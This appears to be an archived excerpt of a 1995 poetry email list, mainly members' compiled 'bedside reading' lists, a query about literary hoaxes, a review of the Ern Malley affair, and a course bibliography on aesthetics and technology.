Contributing writers and artists: Alicia Askenase, Lutz Bacher, Merle Lyn Bachman, Dodie Bellamy, Celia Bland, Pascale-Anne Brault, Sherry Brennan, Laynie Browne, AnJanette Brush, Kathe Burkhardt, Juanita But, Catalina Cariaga, Norma Cole, Leslie Davis & Hoa Nguyen, Connie Deanovich, Dubrovka Djuric, Sally Doyle, Maggie Dubris, Carrie Moyer & Sue Schaffer, Ann Erickson, Liz Fodaski, Darcy Frey, Susan Gevirtz, Phoebe Gloeckner, Lyn Hejinian, Lisa Hoke, Akua Lezli Hope, Karen Kelley, Ike Kim, Basil King, Andrew Levy, Walter Lew, Tan Lin, Pamela Lu, Lori Lubeski, Kimberly Lyons, Kevin Magee, Paul Maurice, Katie Merz, Douglas Messerli, Harryette Mullen, Aife Murray, Susan Smith Nash, Sianne Ngai, Erin O'Brien, Alix Pearlstein, M. Nourbese Philip, Stephen Ratcliffe, Susan Rosenberg & Jacob Wisse, Leslie Scalapino, Jenny Scobel, Eleni Sikelianos, Rod Smith, Meredith Stricker, Nathaniel Tarn, HT,

Rodrigo Toscano, Nicola Tyson, Cecilia Vicuna, Anne Waldman, Hannah Weiner, Karen Yasinsky, Susan Wheeler, Alexander Zane, Janet Zweig.

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109. Loss Glazier

Poll: Which magazines to read?

Sat 8 Jul 1995

---------- MAGAZINES _YOU_ READ: ---------- I wanted to also ask people to post (or send to me) names of magazines they read, think are important, should really be mentioned! (I thought to compile this list for the EPC as an added resource - and to help fill in the blanks where entries do not exist.) Maybe a word or two, if you feel like it, about why the magazine is one you read would also be useful.

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110. Chris Scheil

literary hoaxes

Sat 8 Jul 1995

Hello all,

Followed the recent discussion of the Ern Malley Affair with some interest. Can anyone out there direct me to other examples of literary hoaxes (besides the famous ones like Chatterton & the Ossian poet), particularily in the 20th century?

Most appreciative,

Chris

Chris Scheil | Please, sir, I don't like this trick, sir.
[redacted] | My tongue isn't quick or slick, sir.
snail mail: | I get all those ticks and clocks, sir,
317 Prospect #4 | mixed up with the chicks and tocks, sir.
Grand Rapids, MI 49503 | I can't do it, Mr. Fox, sir.
_____ |
| I'm so sorry, Mr. Knox, sir.
| --Seuss
|_____

↑ Index

111. Loss Glazier
Prosody piece
Sat 8 Jul 1995

Jim, I see now that your piece is linked so maybe we should leave it the way it is. (Though we can also archive here if it becomes necessary.) Loss

↑ Index

112. Kenneth Goldsmith
POETICS READING LIST JUNE 1995 1/2
Sat 8 Jul 1995

Folks--

I'm happy to post the "Poetics Reading List June 1995." I'm pleased that so many people seem to think this to be a good idea. I'd like for it to be a monthly/bimonthly feature on this list and I'm willing to do the gathering & organization of it. All I need is your cooperation. Feel free to post what you are currently reading or if it seems more appropriate, email me backchannel at: [redacted] or [redacted]. I'll continue as long as there is interest. I hope you won't mind if every once in a while I post a reminder message to the group.

This month there seemed to be a couple of threads converging on recommended reading. I've thrown 'em all in together as they all look like good reading to me.

Peace,
Kenny G

P.S.--March's reading list is available through me. If you want a copy email me or if there is enough interest, I'll re-post it.

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POETICS READING LIST FOR JUNE 1995
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Date: Fri, 23 Jun 1995 13:41:28 -0400
From: "Jordan Davis." <[redacted]> Subject: Bedside reading

Books on the windowsill by my bed:
First Love and other stories, Ivan Turgenev The Witch, Anton Chekhov
Wayfarers, Knut Hamsun
The Art of Telling, Frank Kermode
Tulsa Kid, Ron Padgett
The Silver Dove, Andrey Biely

Defoe, Leslie Scalapino
Torque #1, #2, #3
The Impercipient #9 (I think)
My Trip to New York, Bill Luoma
Vexillum, Bob Hale
Lapsis Linguae, Marcella Durand

And in heavy rotation:
The Exact Change Yearbook 1995 cd (esp. Berrigan/Mayer)

==========

Date: Fri, 23 Jun 1995 09:27:00 -0700
From: Don Cheney <[redacted]> Subject: workside reading

I find the books I'm reading broken into 3 distinct PLACES. The first is literally what is on my bedside table. The second is books located on my desk at home. The third is books located at work (as opposed to work-related). The latter books are either in transition to home or are books I read during lunch breaks.

I'm at work now and these are the books on my shelf:

ZEN BUDDHISM AND PSYCHOANALYSIS (Fromm, Suzuki...) ZEN FLESH, ZEN BONES A DAY AT THE BEACH (Grenier) POESIES (Catullus translated into French) DUSK ROAD GAMES (Grenier) POETAS NORTEAMERICANOS (Blackburn/Corman/Eshleman/Enslin translated into Spanish) SOBRE LA PROSA LITERARIA (Shklovsky in Spanish) TOO HOT TO HANDLE (Juvenile baseball novel for my son Max) THE BEAST 2 (Juvenile horror for my son Max) HAND SHADOWS (TO BE THROWN UPON THE WALL) a republication of an 1859 book of hand shadows (for my brother John in prison--I photocopied the various drawings of hand shadows and sent them to him) HOW TO PITCH (Bob Feller) MODISMOS (Familiar English-Spanish expressions) (by Mrs. Anness. & Mr. Boughton. (a random selection gives us: "That codfish smells to Heaven. Ese bacalao huele a rayos." THE GATELESS BARRIER (Aitken) SOCCER FOR JUNIORS (I'm an assistant coach for my son's team this year) CATULLUS'S COMPLETE POETIC WORKS (RABINOWITZ, tr.) just got this on sale at UCSD bookstore yesterday AREAS LIGHTS HEIGHTS (Eigner) just got this also NOW ZEN (Charlotte Joko Beck)

==========

Date: Fri, 23 Jun 1995 14:38:04 -0500
From: maria damon <[redacted]> Subject: current summer reading

1. johanna drucker, dark decade
2. the new yorker
3. bruce robbins, ed. The Phantom Public Sphere 4. weekly rob breszny horoscope
5. a student paper on paul bowles
5. the floating bear compilation
6. daily mpls star tribune horoscope
7. roadmaps to colorado
8. a dictionary of word origins ("slam" "open" etc) 9. various insurance policies so i can be covered during my upcoming sabbatical 10. other randomly fluffy stuff

==========

Date: Fri, 23 Jun 1995 16:00:32 -0400
From: Chris Scheil <[redacted]>
Subject: Re: Reading lists

Well, I've got a few books of interest I've been looking at lately--hope nobody minds if I chime in here...

1. Raising Holy Hell (Bruce Olds) A fictionalized life ofJohn Brown, due out in September. Amazing book--very powerful, though it bogs down in the last fifty or so pages, after Lee and JEB Stuart crash Brown's party at Harpers Ferry. This is by far the best review copy to cross my desk this year...

2. Manuscript Found in Saragossa (Jan Potocki) This was mentioned in Perec's bk (A Void) & just came out in an English translation. Hallucinatory & dense--imagine a new Decameron co-written by Goya & Hoffman, wardrobe by Edith Head, sets by Lautremont...

3. Exact Change Yearbook, At Passages, From the Other Side of the Century: all part of my vacation Michael Palmer festival. Very interesting to hear Palmer read his new Poems. I'd not imagined his voice sounding like it does; the surprise I felt was akin to the first time I heard Creeley or Williams read--how hearing the poets voicing radically changes the way one reads the written work--the way theauthors diction & intonation get somehow ingrained in yourhead & you find yourself internalizing their vocalization. A bit disturbing, that--almost as if the very act of listening to a recording imposes some kind of individualized canonic reading, underming whatever tactical method of poetic speech you've brought to the written text...

4. Passing Duration, Four Lectures: I've always gotten the sensethat Rodefer's work is somehow out there pacing the Langpo boundaries (maybe event horizon is a better term...). Ghosts of events in those sentences, gesturing toward some

alien narrative in hopes of arriving at atmosphere--The same thing I feel reading Coolidge sometimes. Is there anything available since Passing Duration that I might have missed?

==========

Date: Fri, 23 Jun 1995 18:38:34 +0100
From: Kevin Killian <[redacted]>
Subject: Bedside reading

This is Kevin Killian. I'm glad to see this feature return, as I too read Vanity Fair regularly tho' the book list is not my favorite. The true crime articles are.

Here is what I've just picked up from around my bed:

"Vel" by Peter Inman-fantastic. Four stars to you, P. Inman. We printed one of these poems in"Mirage #4/Period[ical]" but now I see, it was not the best one after all, there are many, many just as good or better!

"Castle King Four," by Jim Reagan, who sent me this book, haven't read it yet, don't know why he sent it. He said it was a peace offering. I don't know who he is! Seems to be a novel that pits Nazis against the OSS.

"Sliver," by Ira Levin. I read it about every six months. Dodie wrote a paper about it once, for Todd Baron and Carolyn Kemp's zine "REMAP," on "narration." "A zillion times better than the movie," she says. When is the Ira Levin Conference happening?

Claude Royet-Journoud, "A Descriptive Method," tr. Keith Waldrop-it's small, I should have finished this last week. Didn't. Just found it.

"Berlin Diptychon" by John Yau & Bill Barrette. I'm copying one of the poems here, "The Night Beast is Best," for my new poem, which will have a better title. This book is very luxe, glossy, heavy ink smell, has Berlin written all over me.

"Tender Agencies," by Dennis Denisoff. Why this book isn't a best seller I'll never know. Dennis D. is so smart & so accessible. He is a former member of the Kootenay School and from what I understand will be working at Princeton this fall. Yay Dennis.

"Abusing the Telephone," by Dennis Barone. We had Dennis B. read at Small Press Traffic where he read some of this. We were screaming, kind of. I mean it was sedate in a way. This is a very fiction collective kind of book, tho published by Drogue. Dennis, any one of these tales could have been a novel, I say, expand, don't contract, be expansive like Whitman.

2 new books by Alice Notley. Haven't opened it yet.

Thom Gunn, "The Man with Night Sweats." Thom Gunn is a local hero & a swell guy. This book is his best one yet.

"Arshile #4" ed. Mark Salerno. Arshile #4 features an interview with Gilbert Sorrentino. I always wondered why I had never met GS since he works at Stanford and I'm in San Francisco. Now I find that "the Bay Area is so utterly antithetical to me that I find myself, at all times, struggling against its cuteness, its apathy, its general air of paralysis, its relentless small-townishness, so that it's hard to imagine being 'mellowed out' in the throes of battle. I don't quite know what it is about the place, but the entire Bay Area, with the source of infection being, of course, that citadel of provincialism, San Francisco, has the air of an amateur stage production set in sinister natural surroundings." What a jerk. How about that "source of infection" metaphor Mr. Sorrentino? Are we afraid of the AIDS virus at Stanford University? Anyhow Arshile #4 has this wonderful piece in it by Yoko Ono and as usual a marvelous cover, this time by Jasper Johns.

Bruce Andrews, "Ex Why Zee," collected, I don't know, work for the "theater"? Black and white drawing on the front, "pathetic masculinity" as the art forum says. "Abject art" my favorite. All these little men running around doing disgusting things, . . . four stars for the cover alone, belongs in the Whitney.

"Apex of the M" #3. Read it from cover to cover searching for the explanation from the editors, why on earth they went ahead last time and printed that work by King Homophobe Ed Dorn! No explanation, still. One editor told me that if they explained every editorial policy they made it would be too long a magazine. Fine. Just wanted to put in my 2 cents on this subject. Again.

"Everything as Expected," by James Herndon. This book, from the 70's, is the essential insider's guide to the collaboration between Jack Spicer & Fran Herndon. Color plates. Seven of these collages were shown at recent Blaser conference. Five stars.

"Tony & Susan," by Austin Wright. I think I got this mixed up with "Austin and Mabel" but instead of being about the relatives of Emily Dickinson it is some kind of literary horror novel. Check it out. I'm up to Chapter Five.

"Esther: Her Murder Haunts a Small Town in Oklahoma." True crime book. Esther is a schoolteacher, in her seventies I think, I think she was murdered in her sleep by some former students, but she's just gone to bed just now at the place I've put it down.

"Written in Blood," by Caroline Graham. She is my new favorite detective writer. Okay, so the ends of her books are always stupid.

"Empire of Words: the Reign of the OED," by John Willensky. This guy teaches at UBC and this book studies the use of citation in the different editions of the OED to come to some conclusions about cultural studies. Work it, girl.

Finally I've come to the floor. Okay and one last book I've just finished from the library, "The Juror," by George Dawes Green. had to get this one since it's the basis of the upcoming Demi Moore picture. The back jacket says that Dawes Green is a poet and the author of "the acclaimed novel "The Caveman's Valentine" and he looks about 12. Excellent! George Dawes Green are you on this poetics list? Come on down!

==========

Date: Sat, 24 Jun 1995 00:54:01 -0400
From: Juliana Spahr <[redacted]> Subject: Re: Bedside reading

I love these lists also. Although Kevin's has made mine feel inadequate. My excuse is moving. I've been trying to refile but I've also pulled out all these old books that I found while trying to alphabetize:

Mary Butts Imaginary Letters; Crystal Cabinet; Traverner Novels; (by the way, any Butts fans out there, would love some info back channel about any good criticism, I haven't found much at all good or bad, and info about the Crowley-Butts connection and her opium addiction (?).

Don DeLillo, Libra

Keri Hulme, Bone People (which has been abandoned as unreadable)

Ben Friedlander (there is an image of a knot for the title) (this is available from Meow Press); recommended

Rachel Tzvia Back, Litany (also Meow Press and recommended)

Prosodia / 5 (nice mix of writers, mainly west coast; put out by the students of the New College of California Poetics Prog)

Bloo (good pieces by Dodie Bellamy and Kevin Killian and Pat Reed)

Lesli Scalapino, Defoe (I love this book and have become obsessed with it in the same way that I became obsessed with Fanny Howe's Saving History last year)

a large stack of fashion magazines where I have actually been spending most of my reading time

I would like it if people on this list would just post a brief message about something good they have read whenever they read it and how to get it. I mean both stuff that is available at any Barnes and Noble and stuff that comes in the

mailbox. In more cases than not that usually motivates me to obtain said item and in more cases than not I am glad that I did.

==========

Date: Fri, 23 Jun 1995 21:55:22 -0700
From: Steve Carll <[redacted]>
Subject: bedside reading list

Hi all--here's what's threatening to fall on me and crush me in my sleep:

How Things Work: Science For Young Americans, a 1941 textbook with some truly freaky illustrations.

Earth and Sky Every Child Should Know, similar, except w/a 1910 copyright.

Mark Twain, _The Innocents Abroad_.

Thich Nhat Hahn, _The Blooming of a Lotus_, a wonderful book of simple meditations.

Levi-Strauss, _The Savage Mind_. Learned a new word ("moiety") from this one. Means "half." Not a hapax--he uses it twice.

A stack of submissions to Antenym, the magazine I edit (#7 due out in August, featuring [at least] George Albon, John Olson, Colleen Lookingbill, Darlene Tate, J.R. Willems, John Taggart, Charles Borkhuis, Michael Basinski, Brian Boury, Andrew Joron, Michael Price, Kristin Burkart, Sheila E. Murphy, Carol Ciavonne, Larry Eigner, Mike Kettner, I.E. Skin, Jean Day, and Bob Heman). Now if I can only figure out in what order to present them!

Six By Seuss. Of course.

And soon--
Buckminster Fuller, _I Seem To Be A Verb_. Soon as I can get my hands on a copy.

==========

Date: Sat, 24 Jun 1995 03:16:55 -0400
From: Chris Stroffolino <[redacted]> Subject: Re: bedside
reading list

Okay--I'll chime in--- I'm reading these unpublished manuscripts--- I am extremely knocked out by Ben Friedlander's reading of Frank O'Hara AND YOU BIG NAME PUBLISHERS OUT THERE ARE FOOLS NOT TO JUMP ON IT WHILE YOU CAN---- This is the kind of "literary criticism" one does not see often-- Then I'm reading THE FATE OF THE SELF (By Corngold--first time in

paperback of a 1985 book---I'm reading this for possible "academic use" so i'm reluctant to mention it here, as is my reading in Shakespeare criticism--Susan Snyder, H.T. McCrary, etc. etc---) Also got the EXACT CHANGE BOOK---The Stein piece (and Spahr's intro.) is great. Peter Gizzi's new manuscript has a great poem to Mark McMorris in it...and I got the new Garret lansing HEAVENLY TREE book... I'm sure I'm leaving things out...I read "Marriage" by Marianne Moore the other day---I often spend a whole night on one page! I read O'Hara's "To An Actor Who Died" because it's original title was "To Laura Riding" and "everybody" is telling me I should read Agamban very soon--- It would be interesting if we could talk more about why we're reading (or what is happening why reading) than merely about WHAT--but perhaps that is not a function of the list....chris

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Date: Sat, 24 Jun 1995 19:12:19 -0400
From: Chris Stroffolino <[redacted]> Subject: Re: bedside reading list

I "forget to mention" (or "censored") that I'm also reading a lot of student papers in this summer class i'm teaching. A "reading literature" course that is weighted towards poetry and the reading of "non-poetic" texts "poetically"--I organized the course loosely around the theme of "NOTHING" and have not used official anthologies so i could include Stevens ("Adagia"), Mayer (Sonnets and "the obfuscated poem") O'Hara, Cage, Stein, Riding, Kafka, Beckett, Ellison, Baraka, Ferlinghetti, Dickinson, Shakespeare, Dudley Randall, Blake in one class (also Brecht and Rilke)---I've selfishly swept up my students in my summer reading--but I "commit" to the list and so it's no more "free" in a way than had i gone with a "conventional" commercial anthology---thank "god" for copy shops that 'pirate" things--- Chris S.

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Date: Sat, 24 Jun 1995 17:37:10 -0700
From: Ryan Knighton <[redacted]>
Subject: Re: Bedside reading

Not much at the moment:
Two by George Stanley: "You" and "Opening Day". He said to me last night that "Tacoma" was one of the worst hangovers.

bill bissett's "Animal Uproar", iwth a wonderful Kerouac tribute in it.

Al Purdy's "The Woman on the Shore". You have to be in the mood.

Joyce, "Ulysses". It has to be done.

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Date: Mon, 26 Jun 1995 21:39:37 -1000
From: Susan Schultz <[redacted]> Subject: Re: POETICS
Digest - 25 Jun 1995 to 26 Jun 1995

I, too, really like the "bedside reading" feature of the list. Here are some that are, actually, closer to the couch:

1) VOLCANO, by Garrett Hongo, in which he recounts his search for the Big Island childhood he never had. An honest attempt, woefully written (he puts Keats and Shelley in a cuisinart and pours the remains over fields of lava).

2) THE WINGED SEED, Li-Young Lee. A memoir/prose poem about growing up in Indonesia and rural Pennsylvania, as the son of a Chinese fundamentalist Christian father. Interesting experiment, which most often works, except when he addresses his beloved.

3) TURNING JAPANESE, David Mura. Yes, there's a theme here. Memoir of an Asian-American poet from Minnesota who lived for a year in Japan; interesting "identity" study. I like his prose better than his poetry, which sounds more like, well, prose.

4) DICTEE, Theresa Hak Kyung Cha. Memoir in experimental pieces, which I haven't yet finished. But there's a strong article on her by Shelley Wong in _Feminist Measures_, edited by Lynn Keller and Cristane Miller (Michigan)--good on the "problem" with Asian-American experimental writing and identity politics.

5) Lots and lots of Gertrude Stein.

6) XENIA, by Arkadii Dragomoschenko. Wonderful meditative passages.

7) CANNIBAL, by Terese Svoboda. OK, so she's a friend of mine. I heard her read sections of this book about her travels in the Sudan at our new Barnes and Noble; they put her in the cookbook section.

8) Poems by Sudesh Mishra, a poet from Fiji who lives in Australia. Rather Walcottesque in its metaphorical density; his claim is, however, that this work IS experimental in his context.

I also confess to an over-fondness toward Nirvana's Unplugged cd, though I'm perhaps too late for the rock lyric discussion of a while back. Great rendering of a Leadbelly song.

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Date: Tue, 27 Jun 1995 10:54:35 -0400
From: Jorge Guitart <[redacted]> Subject: bedside reading

recommended for bedside reading and also for when you are considerably more alert:

"The Great Limbaugh Con and Other Right-Wing Assaults on Common Sense" by
Charles M. Kelly
Santa Barbara: Fithian Press, 1994
(14.95 at Barnes & Noble)

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Date: Tue, 27 Jun 1995 11:06:38 -0500
From: Edward Foster <[redacted]> Subject: Re: Bedside Reading

bedside reading this week includes autobiography of annie besant, james wilhelm' s new anthology of gay poetry from antiquity, various motorcycle mags, alice not ley's new book, travel guide to italy (for dreams), book on egyptian art, huysma n. -ed

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Date: Tue, 27 Jun 1995 10:18:35 CST6CDT
From: Hank Lazer <[redacted]>
Subject: Re: Reading lists

Bedside, officeside, studyside readings:

1. Nathaniel Mackey - _Discrepant Engagement_ and _School of Udhra_ 2. Golf Digest 3. Video: John Coltrane: The Coltrane Legacy (includes cuts with Eric Dolphy) 4. bpNichol - The Martyrology - long-term reading, have made my way through books 7&8 and am dipping into the 9th & last 5. Zukofsky _A_ - another long-term reading; oddly enough found the first 100 or so pages not so hot (as in what's the big deal here?) though now into A-12 ok I see the big deal.... 6. Creeley - _Windows_ 7. _Larry Rivers_ - big retrospective book of paintings 8. Barbara Guest _Selected Poems_ 9. Emily Dickinson 10. Gil Ott - _Wheel_ - a beautiful Chax Press book (beautiful work both by Gil & by Charles Alexander!) 11. Northwestern University Press's _Stein Reader_

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Date: Tue, 27 Jun 1995 10:31:28 -0700
From: Herb Levy <[redacted]>
Subject: Doom Patrols (Reading list)

As long as I'm giving out URLs, one of my summer reading books is not yet in print and only available on-line, Steve Shaviro's "Doom Patrols." It can be found at <http://dhalgren.english.washington.edu/~steve/doom.html>.

Based on the chapters I've read so far, I highly recommend it to anyone on poetics list.

It's not, and not about, poetry, but it's the first prose book I've read in a while that's given me the same buzz as the all-over, personal inner-mind sprawl of many recent longpoems.

"Doom Patrols" is an autobiographical work of literary theory; a rich blend of gender theory, electronic culture, comic books & films, true confessions, (very) revisionist post-structuralist thought, rock & roll, self-exposition, new (&old) abjectionists) and more. Chapter titles include: David Cronenberg, Kathy Acker, Dean Martin, Daniel Paul Schreber, Walt Disney, Cindy Sherman, et al.

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Date: Tue, 27 Jun 1995 13:43:48 EST
From: "Burt Kimmelman [redacted]" <[redacted]> Subject: Re: bedside reading

I'm in the middle of revising a book length manuscript on medieval lit. so i won't include the "stuffy" reading surrounding my bed. but other things include:

Richard A. Lanham, THE ELECTRONIC WORD: DEMOCRACY, TECHNOLOGY AND THE ARTS

The latest New York Review of Books (article by Kempton on THE SECRET WORLD OF AMERICAN COMMUNISM; and I hope to get to Menand's review of Gass's THE TUNNEL)

The latest issue of Nutrition Action Newsletter (great summer fruit soup recipes)

Rochelle Owens, RUBBED STONES

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Date: Tue, 27 Jun 1995 13:56:55 -0400
From: Mark Scroggins <[redacted]> Subject: Re: bedside reading

I'm a sucker for bedside reading lists (and desert island lists, and really all sorts of lists).

Leon Howard's biography of Herman Melville; way out of date, but beautifully printed.

Richard Ellmann's Joyce biography.

Erwin Panofsky's Studies in Iconology.

Christopher Hill's Milton and the English Revolution.

Louis Untermeyer's unintentionally hilarious anthology of Robert Frost poems.

Gil Sorrentino's Aberation of Starlight.

Hugh Kenner's The Counterfeiters (again).

Various offprints from various friends and acquaintances.

The latest Talisman, and (of course) Ed Foster's book of poems.

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Date: Tue, 27 Jun 1995 17:00:00 -0400
From: Alan Sondheim <[redacted]> Subject: Re: bedside reading

I'm on the road (talking in LA) so my reading's what I have here: Heiner Muller, Material (just got it in German to correlated with the English texts of his I've read - his writing continues to amaze), the three new translations of Michel Serres' work (which has always affected my own), the new James Ellroy, Kroker's Spasm, and Inside the Information Super- highway, one of my course books, by Nicholas Baran, simple, up-to-date, thorough..

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Date: Tue, 27 Jun 1995 18:33:08 -0700
From: Carl Lynden Peters <[redacted]> Subject: Re: Reading lists

inspired by all that's out there, here's my list fr the month:

the presocratics, by philip wheelwright. a general text chosen fr its contextualizing approach. interested in pursuing pythagoreanism and cont. art. might have some value

on christian doctrine, st. augustine

-revelations of divine love_, julian of norwich

-the temple-, george herbert: interesting -- i found a copy of _the temple_ in the UBC bkstore a few days before the blaser conference. colin browne presented a paper on herbert there which was incredible! timing is everything

everything and anything by bpNichol. re reading bk 1 for the 3rd or 4th time. the first few pages always astound me! everything he does in the other bks is set down there: "premonition of a future time or line we will be writing" ... "a future music moves now to be written" ...

the surrealist parade, by wayne andrews (i'm certain he's the author: just picked it up at a used bkstore. it looks like it's written part documentary/part journal, which is why i bought it. it also contains some hugo ball quotes which i've never come across previously

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Date: Wed, 28 Jun 1995 03:02:32 EDT
From: [redacted]
Subject: Re: bedside reading

My bedside/coffeetable/briefcase reading lists:

Bedside: _Selected Poems 1950-65_ Robert Creeley
Lacan by Malcom Bowie (a good cure for insomnia) _Back in the USA_ by Wystan Curnow

Coffeetable: _Holding Company_ by David Howard
1995 Film Festival Programme
1995 Spring/Summer catalogue, V2 by Versace Latest issues of _Sport_ and _Landfall_

Briefcase: _DIA_ by Michele Leggott
Latest issue of _Printout_
Laura's Poems by Laura Ranger (material for found poetry) _Smells like Avant-Pop_ by Mark Amerika and Lance Olson
(downloaded from Alternative-X)
Mid-latitude Cyclone Models (work, not play)

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Date: Thu, 29 Jun 1995 01:16:43 -0500
From: Brian W Horihan <[redacted]> Subject: bedreading

PRISON NOTEBOOKS, A Gramsci
WHAT IS CINEMA? V.1, Andre Bazin
UNDERGROUND CINEMA, Parker Tyler
SONNETS and MEMORIES, Bernadette Mayer (thanx for these md, enjoying and trying to get through them)
MIRACLE OF THE ROSE (again), J Genet
APPARATUS, ed. Theresa Hak Kyung Cha
TEARS OF EROS, G Bataille
Various things on ancient Greece for summer class

i think i'll have to look at that MS FOUND AT SARAGOSSA people have been mentioning. and a film w/ music by penderecki, wow

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Date: Thu, 29 Jun 1995 02:52:36 -0700
From: Ron Silliman <[redacted]> Subject: Re: bedside reading

My two cents:

Snow Crash by Neil Stephanson (very good, but not as good as the blurbs on the jacket make out) Heat, by Stuart Woods (his worst--I may never read another...) Pronto, by Elmore Leonard (he's become very gentle and humorous since he stopped drinking) Sessions, by Eli Goldblatt (Chax Press! Some wonderful pieces here that reminds me a lot of my own impulses in the poem "Hidden"--I haven't met Eli yet, but since we now live in the same area, I'm looking forward to it) Culture on the Brink: Ideologies of Technology, edited by Gretchen Bender & Timothy Drucker (lots of "celebrity" critics--Aronowitz, Laurie Anderson, Andrew Ross, Paula Treichler, Kathleen Woodward, Langdon Winner--mostly showing how little knowledge of technology they really have) CIO magazine Service News Information Week--the best technology mag around PC Week Been waiting for my sub to The Nation to catch up w/ me on this coast....

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Date: Thu, 29 Jun 1995 03:08:24 -0700
From: Ron Silliman <[redacted]> Subject: Re: tech and aesthetics / how to teach?

Society of the Spectacle by Guy DeBord, Writing Degree Zero by Roland Barthes, What is Literature? by Sartre, recent writing (about PCs and poetry) by Charles Bernstein, Mayakovsky's How are Verses Made, Williams Spring & All, Perelman's The Trouble with Genius, Fred Jameson on Late Capital

As for Blade Runner (a great movie I've seen 5 or 6 times), I'd use it only if/as I used Do Androids Dream of Electric Sheep? by Philip K. Dick. (Also Dr. Bloodmoney, The Man in the High Castle). Good point for talking about essentialism in forms...

Gravity's Rainbow by Pynchon, Dhalgren by SR Delaney, Geek Love, work by Cage and Duchamp

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Date: Thu, 29 Jun 1995 09:20:12 -0400
From: "Jordan Davis." <[redacted]> Subject: Re: tech and aesthetics / how to teach?

You might for argument's sake teach some letterpress books from Toothpaste or Burning Deck or Tuumba, or even something mimeoed, as a way to talk about slippage, or restricted access, or receding possibilities. "A Funny Place" by I think Richard Snow about the history of Coney Island from Adventures in Poetry might be suitably perverse about this (and the "period" quality all technological advances keep latent until they're renovated--viz letterpress, mimeo, super-8, pixelvision).

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Date: Thu, 29 Jun 1995 11:33:26 -0400
From: Issa Clubb <[redacted]>
Subject: Re: bedside reading

Hi all. Well, seeing that another young lurker has come out of the shadows emboldens me to also appear. Besides, what better way to join a poetics list than to list what you read? Anyway, here goes:

Defoe, Leslie Scalapino
At Passages, Michael Palmer
Leviathan, Paul Auster
Resisting the Virtual Life (anth)
about to begin the Decameron

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CONTINUED IN NEXT MESSAGE

↑ Index

113. Kenneth Goldsmith
POETICS READING LIST JUNE 1995 2/2
Sat 8 Jul 1995

POETICS READING LIST JUNE 1995 CONTINUED

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Date: Thu, 29 Jun 1995 16:41:25 -0400
From: "Jordan Davis." <[redacted]>

The Ern Malley Affair by Michael Heyward, Faber & Faber, (London, Boston) 284 pp., $12.95 US, $19.99 Canada

in paper and available through Barnes & Noble (they have several copies at the Astor Place branch,) is notable for the clarity with which it deals with the complexities of taste, literary identity, and experimental writing. The book seems (from here) a subtle treatment of the literary scene in Australia in the 40s, particularly of the self-regard of Max Harris and the stance of his magazine, _Angry Penguins_, that so irritated James McAuley and Harold Stewart, two poets in an OSS-sounding organization called the Directorate of Research and Civil Affairs, that they manufactured, with the aid of a collected Shakespeare, the Concise Oxford Dictionary, a Dictionary of Quotations, and a US Army report on mosquito control, Ern Malley and his poems. In an afternoon. Ahem. Anti-hegemony and Edgar Allen (sic!) Poe take note:

Malley was born in an idle moment that afternoon in the spring of 1943. After lunch McAuley and Stewart had the place to them- selves: there were no urgent telegrams to deal with, no research jobs to finish on the double. Here was their chance to do something they'd fantasized about, take _Angry Penguins_ down a peg or two. Another issue was just out--they thought it reached new heights of pretension. They set to work improvising Ern Malley, their Primitive Penguin, writing his poems out on an army- issue, ruled quarto pad, tearing each page off as they filled it.

Heyward is not _totally_ convinced of the merit of the poems, which are collected in the book (as are Malley's Ernst-ish collages), but he does cite defenders of the work including Judith Wright, John Tranter, John Ashbery and Kenneth Koch. Some effects of the hoax were: to unbalance the equation of value between a work of poetry and the name on it; to suggest, very early on, the possibility that work generated by chance and mischief (and with deliberate disregard for taste) can be taken for beautiful and meaningful; and to turn public attention to poetry (albeit disastrously).

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Date: Thu, 29 Jun 1995 17:48:19 -0400
From: Rod Smith <[redacted]>
Subject: fuzzy bookside bedding

Hello poetics, Suppose it may have been noted, but Joe Ross has poems in _Avec_ & _Impercipient_ from something called "The Fuzzy Logic Series"-- he's referred to them as "Ashberyan" and they do seem so. Particularly compared to other of his work. Re my own bed: I'm taken at the moment by _Touch Monkeys: Nonsense Strategies for Reading Twentieth-Century Poetry_ by Marnie Parsons. U.Toronto Press overpriced hardcover. Interesting reading of Stein/Zukofsky/Language through Lewis Carroll, Edward Lear, etc. using Kristeva to very good end. Though she gets Cage wrong I think. But I would.

Also the new Hobsbawm _Age of Extremes_ very excellent. Really wanted to like Deirdre Bair's _Anais Nin_ --more interested in Bair than Nin, i.e. why did she choose to write about her following Beckett & Beauvoir-- but it's fallen to the wayside. Also I have many copies of _Aerial 8: Barrett Watten_ beside my bed which I certainly recommend. $12.95 to Aerial/Edge, POBox 25642, WDC 20007. I'll be posting soon a longer description of that as well as backlist info. Lightning w/ logic: dogs bark at strangers. Not enough & too much? or Maybe you had too much too fast. Can the Fuzzy be more than metaphorical? as Chaos Theory was a hot metaphor in the arts a few years ago. Not to dismiss description but I want to see it happen. I mean, The sun _is_ one foot wide. How?

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Date: Thu, 29 Jun 1995 15:02:01 -0700
From: Ryan Knighton <[redacted]>
Subject: Re: tech/aesth/photography

"The Marriage Btwn Art and Culture". Both essays can be found in a book called _All Consuming Images_, Basic Books, 1988.

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Date: Thu, 29 Jun 1995 20:33:42 EST
From: "Burt Kimmelman [redacted]" <[redacted]> Subject: READINGS FOR COURSE IN AESTHETICS AND TECHNOLOGY

From: TESLA::KIMMELMAN 29-JUN-1995 20:31:36.96 To: ADMIN::KIMMELMAN
CC:
Subj: aesthetics and technology

To All Tech-Aesthetes:

Here as promised is a list, one which I myself have added to though this is not reflected here, which I threw together a couple of years ago when I was first proposing my 20th century Tech and Aesthetics course for college juniors and seniors:

Auster, Paul, City of Glass.

Barrett, Edward. The Society of Text: Hypertext, Hypermedia, and the Social Construction of Information.

Benjamin, Walter. "Art in the Age of Mechanical Reproduction."

Bolter, J. David. Writing Space: The Computer, Hypertext, and the History of Writing.

Bullock, Alan. "The Double Image."

Carson, Rachel. Silent Spring.

Derrida, Jacques, Paraesthetics.

____, The Truth in Painting.

Ferguson, Eugene S. Engineering and the Mind's Eye.

Goldberger, Paul. The Skyscraper.

Hacker, Andrew. Two Nations: Black and White.

Hans, James, The Forms of Attention.

____, The Play of the World.

Hardison, O. B. Disappearing through the Skylight. New York: Viking.

Hindle, Brooke. Emulation and Invention.

Heidegger, Martin., Poetry, Language, Thought.

____. The Question Concerning Technology and Other Essays.

Huizinga, Johann. Homo Ludens.

Johnson, Philip and Mark Wigley. Deconstructivist Architecture.

Keller, Evelyn Fox. Secrets of Life, Secrets of Death: Essays on Gender, Language and Science.

Kraus, Rosalind E., The Optical Unconscious.

Landow, George P. Hypertext: The Convergence of Contemporary Critical Theory and Technology.

